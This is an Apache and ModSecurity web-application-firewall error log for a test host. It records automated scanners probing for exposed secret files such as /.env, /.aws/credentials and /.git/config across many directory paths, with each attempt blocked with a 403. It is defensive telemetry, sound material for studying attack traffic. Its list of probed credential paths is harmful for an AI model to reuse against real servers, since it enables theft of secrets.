[Wed Sep 24 13:38:42.706791 2025] [:error] [pid 2967876] [client 45.130.203.160:41369] [client 45.130.203.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNPYQnoWlOcrWlWRQStC4gAAAAI"]
[Wed Sep 24 19:59:02.606134 2025] [:error] [pid 2967881] [client 18.89.140.40:57298] [client 18.89.140.40] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNQxZpI58xXToswI6_ccIwAAAAU"]
[Wed Sep 24 19:59:02.606404 2025] [:error] [pid 2967881] [client 18.89.140.40:57298] [client 18.89.140.40] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNQxZpI58xXToswI6_ccIwAAAAU"]
[Wed Sep 24 19:59:02.606569 2025] [:error] [pid 2967881] [client 18.89.140.40:57298] [client 18.89.140.40] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNQxZpI58xXToswI6_ccIwAAAAU"]
[Wed Sep 24 19:59:09.055340 2025] [:error] [pid 2967878] [client 18.89.140.40:56940] [client 18.89.140.40] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aNQxbVBq3BOU54ACwKkYLwAAAAQ"]
[Wed Sep 24 19:59:09.055681 2025] [:error] [pid 2967878] [client 18.89.140.40:56940] [client 18.89.140.40] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aNQxbVBq3BOU54ACwKkYLwAAAAQ"]
[Wed Sep 24 19:59:09.055856 2025] [:error] [pid 2967878] [client 18.89.140.40:56940] [client 18.89.140.40] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aNQxbVBq3BOU54ACwKkYLwAAAAQ"]
[Thu Sep 25 05:04:27.147985 2025] [:error] [pid 2991512] [client 93.123.109.7:42598] [client 93.123.109.7] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aNSxO4DKAFys5plPq_zgnQAAAAI"]
[Thu Sep 25 05:04:27.148237 2025] [:error] [pid 2991512] [client 93.123.109.7:42598] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aNSxO4DKAFys5plPq_zgnQAAAAI"]
[Thu Sep 25 05:04:27.148402 2025] [:error] [pid 2991512] [client 93.123.109.7:42598] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aNSxO4DKAFys5plPq_zgnQAAAAI"]
[Sat Sep 27 11:09:07.385303 2025] [:error] [pid 3041456] [client 176.65.149.195:43232] [client 176.65.149.195] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNeps2JlS4ShidghCtXXSAAAAAI"]
[Sat Sep 27 11:09:07.385567 2025] [:error] [pid 3041456] [client 176.65.149.195:43232] [client 176.65.149.195] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNeps2JlS4ShidghCtXXSAAAAAI"]
[Sat Sep 27 11:09:07.385756 2025] [:error] [pid 3041456] [client 176.65.149.195:43232] [client 176.65.149.195] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNeps2JlS4ShidghCtXXSAAAAAI"]
[Tue Sep 30 11:20:56.507070 2025] [:error] [pid 3119679] [client 45.148.10.154:50926] [client 45.148.10.154] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aNug-LqhPPk9zWjLnjyIewAAAAg"]
[Tue Sep 30 11:20:56.508512 2025] [:error] [pid 3119679] [client 45.148.10.154:50926] [client 45.148.10.154] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aNug-LqhPPk9zWjLnjyIewAAAAg"]
[Tue Sep 30 11:20:56.508667 2025] [:error] [pid 3119679] [client 45.148.10.154:50926] [client 45.148.10.154] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aNug-LqhPPk9zWjLnjyIewAAAAg"]
[Wed Oct 01 03:22:12.952855 2025] [:error] [pid 3143117] [client 54.89.41.60:45450] [client 54.89.41.60] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aNyCRLRmqgfXHPGWE-YUPQAAAAE"]
[Wed Oct 01 03:22:12.953223 2025] [:error] [pid 3143117] [client 54.89.41.60:45450] [client 54.89.41.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aNyCRLRmqgfXHPGWE-YUPQAAAAE"]
[Wed Oct 01 03:22:12.953431 2025] [:error] [pid 3143117] [client 54.89.41.60:45450] [client 54.89.41.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aNyCRLRmqgfXHPGWE-YUPQAAAAE"]
[Wed Oct 01 11:02:55.779535 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNzuPyvYtAD5qsA3PJMy2AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:02:55.779884 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNzuPyvYtAD5qsA3PJMy2AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:02:55.780055 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNzuPyvYtAD5qsA3PJMy2AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:02:58.746467 2025] [authz_core:error] [pid 3143118] [client 15.222.46.37:53390] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env, referer: https://www.google.com/
[Wed Oct 01 11:02:58.977522 2025] [authz_core:error] [pid 3143118] [client 15.222.46.37:53390] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env, referer: https://www.google.com/
[Wed Oct 01 11:02:59.203347 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lab/.env"] [unique_id "aNzuQyvYtAD5qsA3PJMy3gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:02:59.203817 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lab/.env"] [unique_id "aNzuQyvYtAD5qsA3PJMy3gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:02:59.204005 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lab/.env"] [unique_id "aNzuQyvYtAD5qsA3PJMy3gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:02:59.429743 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cronlab/.env"] [unique_id "aNzuQyvYtAD5qsA3PJMy3wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:02:59.430197 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cronlab/.env"] [unique_id "aNzuQyvYtAD5qsA3PJMy3wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:02:59.430398 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cronlab/.env"] [unique_id "aNzuQyvYtAD5qsA3PJMy3wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:02:59.656715 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aNzuQyvYtAD5qsA3PJMy4AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:02:59.657175 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aNzuQyvYtAD5qsA3PJMy4AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:02:59.657369 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aNzuQyvYtAD5qsA3PJMy4AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:02:59.882882 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aNzuQyvYtAD5qsA3PJMy4QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:02:59.883341 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aNzuQyvYtAD5qsA3PJMy4QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:02:59.883527 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aNzuQyvYtAD5qsA3PJMy4QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:00.109645 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/app/.env"] [unique_id "aNzuRCvYtAD5qsA3PJMy4gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:00.110333 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/app/.env"] [unique_id "aNzuRCvYtAD5qsA3PJMy4gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:00.110619 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/app/.env"] [unique_id "aNzuRCvYtAD5qsA3PJMy4gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:00.336587 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/datavase/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/Datavase/.env"] [unique_id "aNzuRCvYtAD5qsA3PJMy4wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:00.337045 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/Datavase/.env"] [unique_id "aNzuRCvYtAD5qsA3PJMy4wAAAAI"], referer: https://www.google.com/
